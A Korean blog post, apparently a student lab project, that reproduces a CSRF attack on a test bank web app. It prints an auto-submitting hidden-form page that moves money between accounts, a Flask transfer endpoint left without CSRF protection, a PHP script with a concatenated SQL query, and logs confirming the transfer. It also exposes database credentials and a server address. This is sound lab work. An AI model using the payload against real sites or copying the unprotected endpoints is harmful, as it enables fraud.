project

프로젝트 (bank 웹 애플리케이션에서 CSRF 공격 시뮬레이션 - 송금 악용)

law and security 2024. 10. 28. 13:20

 
📌  Kali Linux 사용 , python과 Flask를 사용해 공격 시나리오 재현 ( CSRF 취약성 테스트)

 

CSRF 송금 공격 시나리오
  1. HTML 페이지 생성: 공격자는 csrf_transfer.html 파일을 작성하여 송금 요청을 위한 숨겨진 폼을 포함합니다. 이 폼은 피해자의 계좌에서 공격자의 계좌로 송금을 요청합니다.
  2. 페이지 로드: 피해자가 브라우저에서 이 HTML 페이지에 접근하면, 페이지가 자동으로 로드됩니다.
  3. 자동 폼 제출: 페이지가 로드되면, 자바스크립트가 실행되어 폼이 자동으로 제출됩니다. 사용자는 페이지에 방문하는 것만으로 공격에 노출됩니다.
  4. 요청 전송: 자동 제출된 폼은 서버의 transfer_money.php로 POST 요청을 전송하여, 피해자의 세션을 사용하여 서버에서 송금 요청이 처리됩니다.
  5. 결과 확인: 서버는 요청을 처리하고, 공격자 계좌로 송금이 완료됩니다.

 

* poc코드 사용 : 공격자가 피해자의 브라우저에서 비밀번호를 강제로 변경하게 만드는 코드
 

1. 칼리리눅스  바탕화면에 3개파일 생성

 
1) csrf_transfer.html
 

 
 

더보기
<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<title>CSRF 송금 공격</title>

</head>

<body>

<h1>잠시만 기다려 주세요...</h1>

<form id="csrf_form" action="http://127.0.0.1:8002/transfer_money.php" method="POST">

   <input type="hidden" name="from_account" value="693-1602"> <!-- 피해자의 계좌 번호 -->
   <input type="hidden" name="to_account" value="652-2588"> <!-- 공격자의 계좌 번호 -->
    <input type="hidden" name="amount" value="10000"> <!-- 송금 금액 -->
</form>

</form>

<script>

document.getElementById("csrf_form").submit();

</script>

</body>

</html>

 
2)  transfer_app.py
 

 
 

 
 

더보기
from flask import Flask, request, send_from_directory
import logging
import mysql.connector

app = Flask(__name__)

logging.basicConfig(level=logging.DEBUG)

def get_db_connection():
    try:
        conn = mysql.connector.connect(
            host="210.217.().()",
            database="bank",
            user="bankuser1",
            password="Bankuser1!"
        )
        return conn
    except mysql.connector.Error as err:
        logging.error(f"Database connection error: {err}")
        return None

@app.route('/')
def index():
    return "Welcome to the CSRF transfer Test App!"

@app.route('/csrf_transfer.html')
def csrf_transfer():
    return send_from_directory('.', 'csrf_transfer.html')

@app.route('/transfer_money.php', methods=['POST'])
def transfer_money():
    from_account = request.form.get('from_account')
    to_account = request.form.get('to_account')
    amount = request.form.get('amount')

    logging.info(f"Transfer request from {from_account} to {to_account} amount: {amount}")

    conn = None
    try:
        conn = get_db_connection()
        if conn is None:
            return "Database connection failed.", 500
        
        cursor = conn.cursor()

        # 송금 로직
        cursor.execute("UPDATE accounts SET balance = balance - %s WHERE account_number = %s", (amount, from_account))
        cursor.execute("UPDATE accounts SET balance = balance + %s WHERE account_number = %s", (amount, to_account))

        # 사용자 이름 조회
        cursor.execute("SELECT user_num FROM accounts WHERE account_number = %s", (from_account,))
        from_user_num = cursor.fetchone()

        cursor.execute("SELECT user_num FROM accounts WHERE account_number = %s", (to_account,))
        to_user_num = cursor.fetchone()

        # 사용자 이름 가져오기
        if from_user_num:
            cursor.execute("SELECT username FROM users WHERE user_num = %s", (from_user_num[0],))
            from_username = cursor.fetchone()
            from_username = from_username[0] if from_username else "Unknown"
        else:
            from_username = "Unknown"

        if to_user_num:
            cursor.execute("SELECT username FROM users WHERE user_num = %s", (to_user_num[0],))
            to_username = cursor.fetchone()
            to_username = to_username[0] if to_username else "Unknown"
        else:
            to_username = "Unknown"

        conn.commit()
        logging.info(f"송금 완료: {from_account} -> {to_account}, 금액: {amount}")

        return f"송금이 완료되었습니다: {from_username} ({from_account})에서 {to_username} ({to_account})로 {amount}원이 송금되었습니다.", 200

    except mysql.connector.Error as e:
        logging.error(f"Database error: {e}")
        return f"Error transferring money: {str(e)}", 500

    finally:
        if conn is not None:
            conn.close()


def test_db_connection():
    try:
        conn = get_db_connection()
        if conn:
            logging.info("Successfully connected to the database.")
            conn.close()
        else:
            logging.error("Failed to connect to the database.")
    except Exception as e:
        logging.error(f"Could not connect to the database: {e}")

if __name__ == '__main__':
    test_db_connection()
    app.run(host='0.0.0.0', port=8002)

 

 
3. transger_money.php
 
 

 

더보기
<?php

session_start();

// 사용자 인증 체크
if (!isset($_SESSION['user_id'])) {
    die("Unauthorized access");
}

/// 고정된 송금 정보 (예시)
$from_account = '693-1602'; // 송금할 계좌 (올바른 계좌 번호로 변경)
$to_account = '652-2588';   // 수취할 계좌 (올바른 계좌 번호로 변경)
$amount = 10000;            // 송금 금액 (적절한 금액으로 변경)

// 데이터베이스 연결
$conn = new mysqli('210.217.().()', 'bankuser1', 'Bankuser1!', 'bank');

// 연결 오류 체크
if ($conn->connect_error) {
    die("Database connection failed: " . $conn->connect_error);
}

// 사용자 계좌 확인
$user_account = $_SESSION['user_account'];
if ($from_account !== $user_account) {
    die("Account mismatch or unauthorized request");
}

// 현재 잔액 조회
$result = $conn->query("SELECT balance FROM accounts WHERE account_number = '$from_account'");
$row = $result->fetch_assoc();
$current_balance = $row['balance'];

if ($current_balance < $amount) {
    die("Insufficient balance.");
}

// 트랜잭션 시작
$conn->begin_transaction();
try {
    // 송금 로직
    $stmt = $conn->prepare("UPDATE accounts SET balance = balance - ? WHERE account_number = ?");
    $stmt->bind_param("is", $amount, $from_account);
    $stmt->execute();

    $stmt = $conn->prepare("UPDATE accounts SET balance = balance + ? WHERE account_number = ?");
    $stmt->bind_param("is", $amount, $to_account);
    $stmt->execute();

    // 트랜잭션 커밋
    $conn->commit();

    // 거래 기록 로깅
    $log_stmt = $conn->prepare("INSERT INTO transaction_logs (from_account, to_account, amount, timestamp) VALUES (?, ?, ?, NOW())");
    $log_stmt->bind_param("ssi", $from_account, $to_account, $amount);
    $log_stmt->execute();

    echo "송금이 완료되었습니다.";
} catch (Exception $e) {
    // 오류 발생 시 트랜잭션 롤백
    $conn->rollback();
    echo "송금 실패: " . $e->getMessage();
} finally {
    $stmt->close();
    $log_stmt->close();
    $conn->close();
}

?>

 

 

2. 터미널 에서 (python app.py)실행

 

#바탕화면(데스크탑) 폴더로 이동
cd ~/Desktop

# 입력 후 -> 브라우저에 127.0.0.1:8002/csrf_transfer.htmll검색
python transfer_app.py

 
1) MariaDB 서버의 설정 파일 변경
2)  가상 환경 활성화 
 
-> 비밀번호 변경 악용과 동일  (https://cccyj924.tistory.com/45)
 
 

 

더보기

 - 가상 환경 생성 (python3 -m venv myenv)

  • 가상 환경을 생성하면 프로젝트마다 독립적인 Python 환경을 만들 수 있습니다. 이 환경에는 전역적으로 설치된 패키지들이 영향을 미치지 않아서, 특정 프로젝트에 필요한 패키지만 설치할 수 있습니다.
  • Kali Linux나 다른 리눅스 배포판에서는 시스템 안정성을 위해 Python 패키지를 전역에 설치하는 것을 제한할 수 있는데, 가상 환경을 사용하면 이를 우회할 수 있습니다.

 - 가상 환경 활성화 (source venv/bin/activate)

  • 생성된 가상 환경을 활성화하면, 터미널이 해당 가상 환경을 인식하도록 전환됩니다.
  • 이렇게 하면 pip install과 같은 명령어로 패키지를 설치할 때, 해당 패키지들이 가상 환경 안에 설치되며, 전역 시스템에는 영향을 주지 않습니다.

 

- mysql-connector-python 패키지 설치

  • transfer_app.py 파일에서는 MySQL 데이터베이스에 연결하기 위해 mysql-connector-python 모듈을 사용합니다. 가상 환경에 이 모듈이 없으면 스크립트를 실행할 때 ModuleNotFoundError 오류가 발생하므로, 이 패키지를 설치했습니다.
  • 이제 가상 환경 내에서 mysql.connector를 사용할 수 있어 MySQL 데이터베이스와 상호작용이 가능합니다.

- cd ~/Desktop

  • transfer_app.py 파일이 Desktop 폴더에 있기 때문에, 해당 폴더로 이동해 python transfer_app.py 명령어로 스크립트를 실행할 준비를 합니다.

- python transfer_app.py 스크립트 실행

  • 모든 준비가 끝난 후, 스크립트를 실행하여 mysql.connector와 같은 필요한 모듈을 이용할 수 있게 됩니다.
  • 가상 환경에서 실행함으로써, 필요한 패키지들이 정상적으로 설치되었는지 확인하고, 코드가 오류 없이 작동하는지 테스트합니다.

 

 

3.  CSRF 테스트 페이지 열기 ( 127.0.0.1:8002/ csrf_transfer.html )

 

 
✅  filre fox 브라우저 -> 127.0.0.1:8002/ csrf_transfer.html
-> 127.0.0.1:8002/transfer_money.php로 리디렉션
 

 

  • 페이지 로드: 사용자가 csrf_transfer.html 페이지에 접속하면,
  • 자동 제출: JavaScript 코드가 실행되어, 사용자가 따로 클릭하지 않아도 폼이 자동으로 제출
  • 요청 전송: 이로 인해 transfer_money.php 경로로 요청이 전송되어 송금 요청이 이루어진다.
  • 결과 확인: 서버는 요청을 처리하고 로그를 기록하게 되며, 성공적으로 송금이 되면 브라우저에 결과가 표시

 

-> 사용자의 직접적인 행동 없이 공격자가 설정한 요청이 서버에 전송

 
 
 

4.   csrf 공격 확인  ( 서버 로그 확인)

 
1) 터미널 로그: Flask 애플리케이션이 실행되고 있는 터미널에서 로그 메시지를 확인
 
 

 
 

INFO:werkzeug:127.0.0.1 - - [27/Oct/2024 23:27:27] "GET /csrf_transfer.html HTTP/1.1" 200 -
INFO:root:Transfer request from 693-1602 to 652-2588 amount: 10000

# 비밀번호 송금 요청이 수신되었음을 보여준다.

INFO:root:송금 완료: 693-1602 -> 652-2588, 금액: 10000
INFO:werkzeug:127.0.0.1 - - [27/Oct/2024 23:27:27] "POST /transfer_money.php HTTP/1.1" 200 -

 
 

2) 브라우저 : 요청이 성공적으로 처리되면, 브라우저에서 다음과 같은 메시지를 포함하는 페이지가 난다
 

✅   송금 요청이 성공 되었음을 알리는 메시지: 
 
(송금이 완료되었습니다: yujinchoi (693-1602)에서 송금 (652-2588)로 10000원이 송금되었습니다.)가 나타난다면,
CSRF 요청이 성공적으로 처리된 것

 
 
 

3) 데이터베이스 확인

 

┌──(kali㉿kali)-[~]
└─$ mysql -u bankuser1 -p -h 210.217.27.205 -D bank --skip-ssl

 

 
 
✅    username : yujinchoi ( user_num : 2) , trantest ( user_num : 274) 확인 

 

 
 
✅    초기  설정 정보
사용자 -  user_num : 2 (20000원)
공격자 - user_num : 274 (50000원)
 

 
 
✅   공격 후 변화
 
사용자 - user_num : 2 (10000원)
공격자 - user_num : 274 (60000원)